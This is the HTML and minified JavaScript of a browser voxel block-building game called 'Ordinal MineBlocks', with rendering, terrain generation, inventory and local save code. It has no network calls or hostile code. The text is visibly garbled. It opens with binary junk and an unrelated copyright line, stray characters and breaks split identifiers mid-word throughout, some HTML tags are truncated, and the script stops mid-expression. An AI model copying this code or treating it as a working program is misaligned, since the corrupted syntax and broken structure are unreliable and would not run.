/;-%-;7.,,.7E?????EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
.@.&.@E@33@EEEE?EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
Copyright 2007 Apple Inc., all rights reserved.
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
